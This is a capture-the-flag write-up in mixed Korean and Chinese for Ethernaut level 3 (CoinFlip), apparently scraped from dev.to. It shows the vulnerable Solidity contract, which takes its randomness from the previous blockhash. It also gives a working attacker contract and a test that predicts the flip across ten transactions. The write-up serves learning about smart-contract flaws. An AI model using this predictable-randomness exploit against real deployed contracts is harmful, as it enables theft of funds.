Ethernaut 시스템-레벨 3(CoinFlip)
레벨 3 (코인플립)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
通关要求
연속 승리 = 10
要点
web3.eth.getStorageAt(address, position)查看
具體变量在哪个position,会根据变量类型计算,不是按变量顺序123,可能被压缩
답:
https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html
解题思路
直接复制代码,생성추측
계약/03CoinFlipRun.sol
interface ILevel {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipRun {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function run(address _levelAddress) external {
//从原合约复制过来的代码
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
ILevel(_levelAddress).flip(side);
}
}
注意不要在soldity循环10次,要多次事务调用
test/03CoinFlip.js
it("attacks", async function () {
for (let i = 0; i < 10; i++) {
await runContract.run(levelContract.address);
}
});
Reference
이 문제에 관하여(Ethernaut 시스템-레벨 3(CoinFlip)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-3coinflip-521d텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)